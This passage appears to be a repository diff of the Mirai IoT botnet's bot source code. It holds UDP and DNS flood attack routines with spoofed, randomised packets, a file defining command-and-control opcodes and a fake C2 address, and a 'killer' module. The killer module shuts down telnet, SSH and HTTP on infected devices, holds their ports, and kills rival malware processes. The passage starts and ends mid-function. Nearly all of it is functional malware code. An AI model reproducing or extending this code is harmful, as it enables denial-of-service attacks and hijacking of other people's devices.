|                 curr_word_len = 0; | ||||
|                 num_words++; | ||||
|                 curr_lbl = qname + ii + 1; | ||||
|             } | ||||
|             else | ||||
|                 curr_word_len++; | ||||
|         } | ||||
|         *curr_lbl = curr_word_len; | ||||
|  | ||||
|         dnst = (struct dns_question *)(qname + domain_len + 2); | ||||
|         dnst->qtype = htons(PROTO_DNS_QTYPE_A); | ||||
|         dnst->qclass = htons(PROTO_DNS_QCLASS_IP); | ||||
|     } | ||||
|  | ||||
|     while (TRUE) | ||||
|     { | ||||
|         for (i = 0; i < targs_len; i++) | ||||
|         { | ||||
|             char *pkt = pkts[i]; | ||||
|             struct iphdr *iph = (struct iphdr *)pkt; | ||||
|             struct udphdr *udph = (struct udphdr *)(iph + 1); | ||||
|             struct dnshdr *dnsh = (struct dnshdr *)(udph + 1); | ||||
|             char *qrand = ((char *)(dnsh + 1)) + 1; | ||||
|  | ||||
|             if (ip_ident == 0xffff) | ||||
|                 iph->id = rand_next() & 0xffff; | ||||
|             if (sport == 0xffff) | ||||
|                 udph->source = rand_next() & 0xffff; | ||||
|             if (dport == 0xffff) | ||||
|                 udph->dest = rand_next() & 0xffff; | ||||
|  | ||||
|             if (dns_hdr_id == 0xffff) | ||||
|                 dnsh->id = rand_next() & 0xffff; | ||||
|  | ||||
|             rand_alphastr((uint8_t *)qrand, data_len); | ||||
|  | ||||
|             iph->check = 0; | ||||
|             iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); | ||||
|  | ||||
|             udph->check = 0; | ||||
|             udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question)); | ||||
|  | ||||
|             targs[i].sock_addr.sin_addr.s_addr = dns_resolver; | ||||
|             targs[i].sock_addr.sin_port = udph->dest; | ||||
|             sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question), MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); | ||||
|         } | ||||
| #ifdef DEBUG | ||||
|             break; | ||||
|             if (errno != 0) | ||||
|                 printf("errno = %d\n", errno); | ||||
| #endif | ||||
|     } | ||||
| } | ||||
|  | ||||
| void attack_udp_plain(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) | ||||
| { | ||||
| #ifdef DEBUG | ||||
|     printf("in udp plain\n"); | ||||
| #endif | ||||
|  | ||||
|     int i; | ||||
|     char **pkts = calloc(targs_len, sizeof (char *)); | ||||
|     int *fds = calloc(targs_len, sizeof (int)); | ||||
|     port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); | ||||
|     port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); | ||||
|     uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512); | ||||
|     BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); | ||||
|     struct sockaddr_in bind_addr = {0}; | ||||
|  | ||||
|     if (sport == 0xffff) | ||||
|     { | ||||
|         sport = rand_next(); | ||||
|     } else { | ||||
|         sport = htons(sport); | ||||
|     } | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     printf("after args\n"); | ||||
| #endif | ||||
|  | ||||
|     for (i = 0; i < targs_len; i++) | ||||
|     { | ||||
|         struct iphdr *iph; | ||||
|         struct udphdr *udph; | ||||
|         char *data; | ||||
|  | ||||
|         pkts[i] = calloc(65535, sizeof (char)); | ||||
|  | ||||
|         if (dport == 0xffff) | ||||
|             targs[i].sock_addr.sin_port = rand_next(); | ||||
|         else | ||||
|             targs[i].sock_addr.sin_port = htons(dport); | ||||
|  | ||||
|         if ((fds[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("Failed to create udp socket. Aborting attack\n"); | ||||
| #endif | ||||
|             return; | ||||
|         } | ||||
|  | ||||
|         bind_addr.sin_family = AF_INET; | ||||
|         bind_addr.sin_port = sport; | ||||
|         bind_addr.sin_addr.s_addr = 0; | ||||
|  | ||||
|         if (bind(fds[i], (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1) | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("Failed to bind udp socket.\n"); | ||||
| #endif | ||||
|         } | ||||
|  | ||||
|         // For prefix attacks | ||||
|         if (targs[i].netmask < 32) | ||||
|             targs[i].sock_addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); | ||||
|  | ||||
|         if (connect(fds[i], (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)) == -1) | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("Failed to connect udp socket.\n"); | ||||
| #endif | ||||
|         } | ||||
|     } | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     printf("after setup\n"); | ||||
| #endif | ||||
|  | ||||
|     while (TRUE) | ||||
|     { | ||||
|         for (i = 0; i < targs_len; i++) | ||||
|         { | ||||
|             char *data = pkts[i]; | ||||
|  | ||||
|             // Randomize packet content? | ||||
|             if (data_rand) | ||||
|                 rand_str(data, data_len); | ||||
|  | ||||
| #ifdef DEBUG | ||||
|             errno = 0; | ||||
|             if (send(fds[i], data, data_len, MSG_NOSIGNAL) == -1) | ||||
|             { | ||||
|                 printf("send failed: %d\n", errno); | ||||
|             } else { | ||||
|                 printf(".\n"); | ||||
|             } | ||||
| #else | ||||
|             send(fds[i], data, data_len, MSG_NOSIGNAL); | ||||
| #endif | ||||
|         } | ||||
| #ifdef DEBUG | ||||
|             break; | ||||
|             if (errno != 0) | ||||
|                 printf("errno = %d\n", errno); | ||||
| #endif | ||||
|     } | ||||
| } | ||||
|  | ||||
| static ipv4_t get_dns_resolver(void) | ||||
| { | ||||
|     int fd; | ||||
|  | ||||
|     table_unlock_val(TABLE_ATK_RESOLVER); | ||||
|     fd = open(table_retrieve_val(TABLE_ATK_RESOLVER, NULL), O_RDONLY); | ||||
|     table_lock_val(TABLE_ATK_RESOLVER); | ||||
|     if (fd >= 0) | ||||
|     { | ||||
|         int ret, nspos; | ||||
|         char resolvbuf[2048]; | ||||
|  | ||||
|         ret = read(fd, resolvbuf, sizeof (resolvbuf)); | ||||
|         close(fd); | ||||
|         table_unlock_val(TABLE_ATK_NSERV); | ||||
|         nspos = util_stristr(resolvbuf, ret, table_retrieve_val(TABLE_ATK_NSERV, NULL)); | ||||
|         table_lock_val(TABLE_ATK_NSERV); | ||||
|         if (nspos != -1) | ||||
|         { | ||||
|             int i; | ||||
|             char ipbuf[32]; | ||||
|             BOOL finished_whitespace = FALSE; | ||||
|             BOOL found = FALSE; | ||||
|  | ||||
|             for (i = nspos; i < ret; i++) | ||||
|             { | ||||
|                 char c = resolvbuf[i]; | ||||
|  | ||||
|                 // Skip leading whitespace | ||||
|                 if (!finished_whitespace) | ||||
|                 { | ||||
|                     if (c == ' ' || c == '\t') | ||||
|                         continue; | ||||
|                     else | ||||
|                         finished_whitespace = TRUE; | ||||
|                 } | ||||
|  | ||||
|                 // End if c is not either a dot or a number | ||||
|                 if ((c != '.' && (c < '0' || c > '9')) || (i == (ret - 1))) | ||||
|                 { | ||||
|                     util_memcpy(ipbuf, resolvbuf + nspos, i - nspos); | ||||
|                     ipbuf[i - nspos] = 0; | ||||
|                     found = TRUE; | ||||
|                     break; | ||||
|                 } | ||||
|             } | ||||
|  | ||||
|             if (found) | ||||
|             { | ||||
| #ifdef DEBUG | ||||
|                 printf("Found local resolver: '%s'\n", ipbuf); | ||||
| #endif | ||||
|                 return inet_addr(ipbuf); | ||||
|             } | ||||
|         } | ||||
|     } | ||||
|  | ||||
|     switch (rand_next() % 4) | ||||
|     { | ||||
|     case 0: | ||||
|         return INET_ADDR(8,8,8,8); | ||||
|     case 1: | ||||
|         return INET_ADDR(74,82,42,42); | ||||
|     case 2: | ||||
|         return INET_ADDR(64,6,64,6); | ||||
|     case 3: | ||||
|         return INET_ADDR(4,2,2,2); | ||||
|     } | ||||
| } | ||||
							
								
								
									
										53
									
								
								mirai/bot/checksum.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										53
									
								
								mirai/bot/checksum.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,53 @@ | ||||
| #define _GNU_SOURCE | ||||
|  | ||||
| #include <arpa/inet.h> | ||||
| #include <linux/ip.h> | ||||
|  | ||||
| #include "includes.h" | ||||
| #include "checksum.h" | ||||
|  | ||||
| uint16_t checksum_generic(uint16_t *addr, uint32_t count) | ||||
| { | ||||
|     register unsigned long sum = 0; | ||||
|  | ||||
|     for (sum = 0; count > 1; count -= 2) | ||||
|         sum += *addr++; | ||||
|     if (count == 1) | ||||
|         sum += (char)*addr; | ||||
|  | ||||
|     sum = (sum >> 16) + (sum & 0xFFFF); | ||||
|     sum += (sum >> 16); | ||||
|      | ||||
|     return ~sum; | ||||
| } | ||||
|  | ||||
| uint16_t checksum_tcpudp(struct iphdr *iph, void *buff, uint16_t data_len, int len) | ||||
| { | ||||
|     const uint16_t *buf = buff; | ||||
|     uint32_t ip_src = iph->saddr; | ||||
|     uint32_t ip_dst = iph->daddr; | ||||
|     uint32_t sum = 0; | ||||
|     int length = len; | ||||
|      | ||||
|     while (len > 1) | ||||
|     { | ||||
|         sum += *buf; | ||||
|         buf++; | ||||
|         len -= 2; | ||||
|     } | ||||
|  | ||||
|     if (len == 1) | ||||
|         sum += *((uint8_t *) buf); | ||||
|  | ||||
|     sum += (ip_src >> 16) & 0xFFFF; | ||||
|     sum += ip_src & 0xFFFF; | ||||
|     sum += (ip_dst >> 16) & 0xFFFF; | ||||
|     sum += ip_dst & 0xFFFF; | ||||
|     sum += htons(iph->protocol); | ||||
|     sum += data_len; | ||||
|  | ||||
|     while (sum >> 16)  | ||||
|         sum = (sum & 0xFFFF) + (sum >> 16); | ||||
|  | ||||
|     return ((uint16_t) (~sum)); | ||||
| } | ||||
							
								
								
									
										9
									
								
								mirai/bot/checksum.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										9
									
								
								mirai/bot/checksum.h
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,9 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include <stdint.h> | ||||
| #include <linux/ip.h> | ||||
|  | ||||
| #include "includes.h" | ||||
|  | ||||
| uint16_t checksum_generic(uint16_t *, uint32_t); | ||||
| uint16_t checksum_tcpudp(struct iphdr *, void *, uint16_t, int); | ||||
							
								
								
									
										133
									
								
								mirai/bot/includes.h
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										133
									
								
								mirai/bot/includes.h
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,133 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include <unistd.h> | ||||
| #include <stdint.h> | ||||
| #include <stdarg.h> | ||||
|  | ||||
| #define STDIN   0 | ||||
| #define STDOUT  1 | ||||
| #define STDERR  2 | ||||
|  | ||||
| #define FALSE   0 | ||||
| #define TRUE    1 | ||||
| typedef char BOOL; | ||||
|  | ||||
| typedef uint32_t ipv4_t; | ||||
| typedef uint16_t port_t; | ||||
|  | ||||
| #define INET_ADDR(o1,o2,o3,o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0))) | ||||
|  | ||||
| #define SINGLE_INSTANCE_PORT 48101 | ||||
|  | ||||
| #define FAKE_CNC_ADDR   INET_ADDR(65,222,202,53) | ||||
| #define FAKE_CNC_PORT   80 | ||||
|  | ||||
| #define CNC_OP_PING         0x00 | ||||
| #define CNC_OP_KILLSELF     0x10 | ||||
| #define CNC_OP_KILLATTKS    0x20 | ||||
| #define CNC_OP_PROXY        0x30 | ||||
| #define CNC_OP_ATTACK       0x40 | ||||
|  | ||||
| ipv4_t LOCAL_ADDR; | ||||
|  | ||||
| #ifdef DEBUG | ||||
| static char *outptr; | ||||
| static void xputc(char c) | ||||
| { | ||||
| 	if (outptr) { | ||||
| 		*outptr++ = (unsigned char)c; | ||||
| 		return; | ||||
| 	} else { | ||||
| 		write(0, &c, 1); | ||||
| 	} | ||||
| } | ||||
|  | ||||
| static void xputs(const char *str) | ||||
| { | ||||
| 	while (*str) | ||||
| 		xputc(*str++); | ||||
| } | ||||
|  | ||||
| static void xvprintf(const char *fmt, va_list arp) | ||||
| { | ||||
| 	unsigned int r, i, j, w, f; | ||||
| 	unsigned long v; | ||||
| 	char s[16], c, d, *p; | ||||
| 	for (;;) { | ||||
| 		c = *fmt++;					/* Get a char */ | ||||
| 		if (!c) break;				/* End of format? */ | ||||
| 		if (c != '%') {				/* Pass through it if not a % sequense */ | ||||
| 			xputc(c); continue; | ||||
| 		} | ||||
| 		f = 0; | ||||
| 		c = *fmt++;					/* Get first char of the sequense */ | ||||
| 		if (c == '0') {				/* Flag: '0' padded */ | ||||
| 			f = 1; c = *fmt++; | ||||
| 		} else { | ||||
| 			if (c == '-') {			/* Flag: left justified */ | ||||
| 				f = 2; c = *fmt++; | ||||
| 			} | ||||
| 		} | ||||
| 		for (w = 0; c >= '0' && c <= '9'; c = *fmt++)	/* Minimum width */ | ||||
| 			w = w * 10 + c - '0'; | ||||
| 		if (c == 'l' || c == 'L') {	/* Prefix: Size is long int */ | ||||
| 			f |= 4; c = *fmt++; | ||||
| 		} | ||||
| 		if (!c) break;				/* End of format? */ | ||||
| 		d = c; | ||||
| 		//toupper | ||||
| 		if (d >= 'a') d -= 0x20; | ||||
| 		switch (d) {				/* Type is... */ | ||||
| 		case 'S' :					/* String */ | ||||
| 			p = va_arg(arp, char*); | ||||
| 			for (j = 0; p[j]; j++) ; | ||||
| 			while (!(f & 2) && j++ < w) xputc(' '); | ||||
| 			xputs(p); | ||||
| 			while (j++ < w) xputc(' '); | ||||
| 			continue; | ||||
| 		case 'C' :					/* Character */ | ||||
| 			xputc((char)va_arg(arp, int)); continue; | ||||
| 		case 'B' :					/* Binary */ | ||||
| 			r = 2; break; | ||||
| 		case 'O' :					/* Octal */ | ||||
| 			r = 8; break; | ||||
| 		case 'D' :					/* Signed decimal */ | ||||
| 		case 'U' :					/* Unsigned decimal */ | ||||
| 			r = 10; break; | ||||
| 		case 'X' :					/* Hexdecimal */ | ||||
| 			r = 16; break; | ||||
| 		default:					/* Unknown type (passthrough) */ | ||||
| 			xputc(c); continue; | ||||
| 		} | ||||
|  | ||||
| 		/* Get an argument and put it in numeral */ | ||||
| 		v = (f & 4) ? va_arg(arp, long) : ((d == 'D') ? (long)va_arg(arp, int) : (long)va_arg(arp, unsigned int)); | ||||
| 		if (d == 'D' && (v & 0x80000000)) { | ||||
| 			v = 0 - v; | ||||
| 			f |= 8; | ||||
| 		} | ||||
| 		i = 0; | ||||
| 		do { | ||||
| 			d = (char)(v % r); v /= r; | ||||
| 			if (d > 9) d += (c == 'x') ? 0x27 : 0x07; | ||||
| 			s[i++] = d + '0'; | ||||
| 		} while (v && i < sizeof(s)); | ||||
| 		if (f & 8) s[i++] = '-'; | ||||
| 		j = i; d = (f & 1) ? '0' : ' '; | ||||
| 		while (!(f & 2) && j++ < w) xputc(d); | ||||
| 		do xputc(s[--i]); while(i); | ||||
| 		while (j++ < w) xputc(' '); | ||||
| 	} | ||||
| } | ||||
|  | ||||
| static void xprintf(const char *fmt, ...) | ||||
| { | ||||
| 	va_list arp; | ||||
| 	va_start(arp, fmt); | ||||
| 	xvprintf(fmt, arp); | ||||
| 	va_end(arp); | ||||
| } | ||||
| #define printf xprintf | ||||
|  | ||||
| #endif | ||||
|  | ||||
							
								
								
									
										560
									
								
								mirai/bot/killer.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										560
									
								
								mirai/bot/killer.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,560 @@ | ||||
| #define _GNU_SOURCE | ||||
|  | ||||
| #ifdef DEBUG | ||||
| #include <stdio.h> | ||||
| #endif | ||||
| #include <unistd.h> | ||||
| #include <stdlib.h> | ||||
| #include <arpa/inet.h> | ||||
| #include <linux/limits.h> | ||||
| #include <sys/types.h> | ||||
| #include <dirent.h> | ||||
| #include <signal.h> | ||||
| #include <fcntl.h> | ||||
| #include <time.h> | ||||
|  | ||||
| #include "includes.h" | ||||
| #include "killer.h" | ||||
| #include "table.h" | ||||
| #include "util.h" | ||||
|  | ||||
| int killer_pid; | ||||
| char *killer_realpath; | ||||
| int killer_realpath_len = 0; | ||||
|  | ||||
| void killer_init(void) | ||||
| { | ||||
|     int killer_highest_pid = KILLER_MIN_PID, last_pid_scan = time(NULL), tmp_bind_fd; | ||||
|     uint32_t scan_counter = 0; | ||||
|     struct sockaddr_in tmp_bind_addr; | ||||
|  | ||||
|     // Let parent continue on main thread | ||||
|     killer_pid = fork(); | ||||
|     if (killer_pid > 0 || killer_pid == -1) | ||||
|         return; | ||||
|  | ||||
|     tmp_bind_addr.sin_family = AF_INET; | ||||
|     tmp_bind_addr.sin_addr.s_addr = INADDR_ANY; | ||||
|  | ||||
|     // Kill telnet service and prevent it from restarting | ||||
| #ifdef KILLER_REBIND_TELNET | ||||
| #ifdef DEBUG | ||||
|     printf("[killer] Trying to kill port 23\n"); | ||||
| #endif | ||||
|     if (killer_kill_by_port(htons(23))) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[killer] Killed tcp/23 (telnet)\n"); | ||||
| #endif | ||||
|     } else { | ||||
| #ifdef DEBUG | ||||
|         printf("[killer] Failed to kill port 23\n"); | ||||
| #endif | ||||
|     } | ||||
|     tmp_bind_addr.sin_port = htons(23); | ||||
|  | ||||
|     if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1) | ||||
|     { | ||||
|         bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); | ||||
|         listen(tmp_bind_fd, 1); | ||||
|     } | ||||
| #ifdef DEBUG | ||||
|     printf("[killer] Bound to tcp/23 (telnet)\n"); | ||||
| #endif | ||||
| #endif | ||||
|  | ||||
|     // Kill SSH service and prevent it from restarting | ||||
| #ifdef KILLER_REBIND_SSH | ||||
|     if (killer_kill_by_port(htons(22))) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[killer] Killed tcp/22 (SSH)\n"); | ||||
| #endif | ||||
|     } | ||||
|     tmp_bind_addr.sin_port = htons(22); | ||||
|  | ||||
|     if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1) | ||||
|     { | ||||
|         bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); | ||||
|         listen(tmp_bind_fd, 1); | ||||
|     } | ||||
| #ifdef DEBUG | ||||
|     printf("[killer] Bound to tcp/22 (SSH)\n"); | ||||
| #endif | ||||
| #endif | ||||
|  | ||||
|     // Kill HTTP service and prevent it from restarting | ||||
| #ifdef KILLER_REBIND_HTTP | ||||
|     if (killer_kill_by_port(htons(80))) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[killer] Killed tcp/80 (http)\n"); | ||||
| #endif | ||||
|     } | ||||
|     tmp_bind_addr.sin_port = htons(80); | ||||
|  | ||||
|     if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1) | ||||
|     { | ||||
|         bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); | ||||
|         listen(tmp_bind_fd, 1); | ||||
|     } | ||||
| #ifdef DEBUG | ||||
|     printf("[killer] Bound to tcp/80 (http)\n"); | ||||
| #endif | ||||
| #endif | ||||
|  | ||||
|     // In case the binary is getting deleted, we want to get the REAL realpath | ||||
|     sleep(5); | ||||
|  | ||||
|     killer_realpath = malloc(PATH_MAX); | ||||
|     killer_realpath[0] = 0; | ||||
|     killer_realpath_len = 0; | ||||
|  | ||||
|     if (!has_exe_access()) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("[killer] Machine does not have /proc/$pid/exe\n"); | ||||
| #endif | ||||
|         return; | ||||
|     } | ||||
| #ifdef DEBUG | ||||
|     printf("[killer] Memory scanning processes\n"); | ||||
| #endif | ||||
|  | ||||
|     while (TRUE) | ||||
|     { | ||||
|         DIR *dir; | ||||
|         struct dirent *file; | ||||
|  | ||||
|         table_unlock_val(TABLE_KILLER_PROC); | ||||
|         if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) == NULL) | ||||
|         { | ||||
| #ifdef DEBUG | ||||
|             printf("[killer] Failed to open /proc!\n"); | ||||
| #endif | ||||
|             break; | ||||
|         } | ||||
|         table_lock_val(TABLE_KILLER_PROC); | ||||
|  | ||||
|         while ((file = readdir(dir)) != NULL) | ||||
|         { | ||||
|             // skip all folders that are not PIDs | ||||
|             if (*(file->d_name) < '0' || *(file->d_name) > '9') | ||||
|                 continue; | ||||
|  | ||||
|             char exe_path[64], *ptr_exe_path = exe_path, realpath[PATH_MAX]; | ||||
|             char status_path[64], *ptr_status_path = status_path; | ||||
|             int rp_len, fd, pid = atoi(file->d_name); | ||||
|  | ||||
|             scan_counter++; | ||||
|             if (pid <= killer_highest_pid) | ||||
|             { | ||||
|                 if (time(NULL) - last_pid_scan > KILLER_RESTART_SCAN_TIME) // If more than KILLER_RESTART_SCAN_TIME has passed, restart scans from lowest PID for process wrap | ||||
|                 { | ||||
| #ifdef DEBUG | ||||
|                     printf("[killer] %d seconds have passed since last scan. Re-scanning all processes!\n", KILLER_RESTART_SCAN_TIME); | ||||
| #endif | ||||
|                     killer_highest_pid = KILLER_MIN_PID; | ||||
|                 } | ||||
|                 else | ||||
|                 { | ||||
|                     if (pid > KILLER_MIN_PID && scan_counter % 10 == 0) | ||||
|                         sleep(1); // Sleep so we can wait for another process to spawn | ||||
|                 } | ||||
|  | ||||
|                 continue; | ||||
|             } | ||||
|             if (pid > killer_highest_pid) | ||||
|                 killer_highest_pid = pid; | ||||
|             last_pid_scan = time(NULL); | ||||
|  | ||||
|             table_unlock_val(TABLE_KILLER_PROC); | ||||
|             table_unlock_val(TABLE_KILLER_EXE); | ||||
|  | ||||
|             // Store /proc/$pid/exe into exe_path | ||||
|             ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); | ||||
|             ptr_exe_path += util_strcpy(ptr_exe_path, file->d_name); | ||||
|             ptr_exe_path += util_strcpy(ptr_exe_path, table_retrieve_val(TABLE_KILLER_EXE, NULL)); | ||||
|  | ||||
|             // Store /proc/$pid/status into status_path | ||||
|             ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); | ||||
|             ptr_status_path += util_strcpy(ptr_status_path, file->d_name); | ||||
|             ptr_status_path += util_strcpy(ptr_status_path, table_retrieve_val(TABLE_KILLER_STATUS, NULL)); | ||||
|  | ||||
|             table_lock_val(TABLE_KILLER_PROC); | ||||
|             table_lock_val(TABLE_KILLER_EXE); | ||||
|  | ||||
|             // Resolve exe_path (/proc/$pid/exe) -> realpath | ||||
|             if ((rp_len = readlink(exe_path, realpath, sizeof (realpath) - 1)) != -1) | ||||
|             { | ||||
|                 realpath[rp_len] = 0; // Nullterminate realpath, since readlink doesn't guarantee a null terminated string | ||||
|  | ||||
|                 table_unlock_val(TABLE_KILLER_ANIME); | ||||
|                 // If path contains ".anime" kill. | ||||
|                 if (util_stristr(realpath, rp_len - 1, table_retrieve_val(TABLE_KILLER_ANIME, NULL)) != -1) | ||||
|                 { | ||||
|                     unlink(realpath); | ||||
|                     kill(pid, 9); | ||||
|                 } | ||||
|                 table_lock_val(TABLE_KILLER_ANIME); | ||||
|  | ||||
|                 // Skip this file if its realpath == killer_realpath | ||||
|                 if (pid == getpid() || pid == getppid() || util_strcmp(realpath, killer_realpath)) | ||||
|                     continue; | ||||
|  | ||||
|                 if ((fd = open(realpath, O_RDONLY)) == -1) | ||||
|                 { | ||||
| #ifdef DEBUG | ||||
|                     printf("[killer] Process '%s' has deleted binary!\n", realpath); | ||||
| #endif | ||||
|                     kill(pid, 9); | ||||
|                 } | ||||
|                 close(fd); | ||||
|             } | ||||
|  | ||||
|             if (memory_scan_match(exe_path)) | ||||
|             { | ||||
| #ifdef DEBUG | ||||
|                 printf("[killer] Memory scan match for binary %s\n", exe_path); | ||||
| #endif | ||||
|                 kill(pid, 9); | ||||
|             }  | ||||
|  | ||||
|             /* | ||||
|             if (upx_scan_match(exe_path, status_path)) | ||||
|             { | ||||
| #ifdef DEBUG | ||||
|                 printf("[killer] UPX scan match for binary %s\n", exe_path); | ||||
| #endif | ||||
|                 kill(pid, 9); | ||||
|             } | ||||
|             */ | ||||
|  | ||||
|             // Don't let others memory scan!!! | ||||
|             util_zero(exe_path, sizeof (exe_path)); | ||||
|             util_zero(status_path, sizeof (status_path)); | ||||
|  | ||||
|             sleep(1); | ||||
|         } | ||||
|  | ||||
|         closedir(dir); | ||||
|     } | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     printf("[killer] Finished\n"); | ||||
| #endif | ||||
| } | ||||
|  | ||||
| void killer_kill(void) | ||||
| { | ||||
|     kill(killer_pid, 9); | ||||
| } | ||||
|  | ||||
| BOOL killer_kill_by_port(port_t port) | ||||
| { | ||||
|     DIR *dir, *fd_dir; | ||||
|     struct dirent *entry, *fd_entry; | ||||
|     char path[PATH_MAX] = {0}, exe[PATH_MAX] = {0}, buffer[513] = {0}; | ||||
|     int pid = 0, fd = 0; | ||||
|     char inode[16] = {0}; | ||||
|     char *ptr_path = path; | ||||
|     int ret = 0; | ||||
|     char port_str[16]; | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     printf("[killer] Finding and killing processes holding port %d\n", ntohs(port)); | ||||
| #endif | ||||
|  | ||||
|     util_itoa(ntohs(port), 16, port_str); | ||||
|     if (util_strlen(port_str) == 2) | ||||
|     { | ||||
|         port_str[2] = port_str[0]; | ||||
|         port_str[3] = port_str[1]; | ||||
|         port_str[4] = 0; | ||||
|  | ||||
|         port_str[0] = '0'; | ||||
|         port_str[1] = '0'; | ||||
|     } | ||||
|  | ||||
|     table_unlock_val(TABLE_KILLER_PROC); | ||||
|     table_unlock_val(TABLE_KILLER_EXE); | ||||
|     table_unlock_val(TABLE_KILLER_FD); | ||||
|  | ||||
|     fd = open("/proc/net/tcp", O_RDONLY); | ||||
|     if (fd == -1) | ||||
|         return 0; | ||||
|  | ||||
|     while (util_fdgets(buffer, 512, fd) != NULL) | ||||
|     { | ||||
|         int i = 0, ii = 0; | ||||
|  | ||||
|         while (buffer[i] != 0 && buffer[i] != ':') | ||||
|             i++; | ||||
|  | ||||
|         if (buffer[i] == 0) continue; | ||||
|         i += 2; | ||||
|         ii = i; | ||||
|  | ||||
|         while (buffer[i] != 0 && buffer[i] != ' ') | ||||
|             i++; | ||||
|         buffer[i++] = 0; | ||||
|  | ||||
|         // Compare the entry in /proc/net/tcp to the hex value of the htons port | ||||
|         if (util_stristr(&(buffer[ii]), util_strlen(&(buffer[ii])), port_str) != -1) | ||||
|         { | ||||
|             int column_index = 0; | ||||
|             BOOL in_column = FALSE; | ||||
|             BOOL listening_state = FALSE; | ||||
|  | ||||
|             while (column_index < 7 && buffer[++i] != 0) | ||||
|             { | ||||
|                 if (buffer[i] == ' ' || buffer[i] == '\t') | ||||
|                     in_column = TRUE; | ||||
|                 else | ||||
|                 { | ||||
|                     if (in_column == TRUE) | ||||
|                         column_index++; | ||||
|  | ||||
|                     if (in_column == TRUE && column_index == 1 && buffer[i + 1] == 'A') | ||||
|                     { | ||||
|                         listening_state = TRUE; | ||||
|                     } | ||||
|  | ||||
|                     in_column = FALSE; | ||||
|                 } | ||||
|             } | ||||
|             ii = i; | ||||
|  | ||||
|             if (listening_state == FALSE) | ||||
|                 continue; | ||||
|  | ||||
|             while (buffer[i] != 0 && buffer[i] != ' ') | ||||
|                 i++; | ||||
|             buffer[i++] = 0; | ||||
|  | ||||
|             if (util_strlen(&(buffer[ii])) > 15) | ||||
|                 continue; | ||||
|  | ||||
|             util_strcpy(inode, &(buffer[ii])); | ||||
|             break; | ||||
|         } | ||||
|     } | ||||
|     close(fd); | ||||
|  | ||||
|     // If we failed to find it, lock everything and move on | ||||
|     if (util_strlen(inode) == 0) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to find inode for port %d\n", ntohs(port)); | ||||
| #endif | ||||
|         table_lock_val(TABLE_KILLER_PROC); | ||||
|         table_lock_val(TABLE_KILLER_EXE); | ||||
|         table_lock_val(TABLE_KILLER_FD); | ||||
|  | ||||
|         return 0; | ||||
|     } | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     printf("Found inode \"%s\" for port %d\n", inode, ntohs(port)); | ||||
| #endif | ||||
|  | ||||
|     if ((dir = opendir(table_retrieve_val(TABLE_KILLER_PROC, NULL))) != NULL) | ||||
|     { | ||||
|         while ((entry = readdir(dir)) != NULL && ret == 0) | ||||
|         { | ||||
|             char *pid = entry->d_name; | ||||
|  | ||||
|             // skip all folders that are not PIDs | ||||
|             if (*pid < '0' || *pid > '9') | ||||
|                 continue; | ||||
|  | ||||
|             util_strcpy(ptr_path, table_retrieve_val(TABLE_KILLER_PROC, NULL)); | ||||
|             util_strcpy(ptr_path + util_strlen(ptr_path), pid); | ||||
|             util_strcpy(ptr_path + util_strlen(ptr_path), table_retrieve_val(TABLE_KILLER_EXE, NULL)); | ||||
|  | ||||
|             if (readlink(path, exe, PATH_MAX) == -1) | ||||
|                 continue; | ||||
|  | ||||
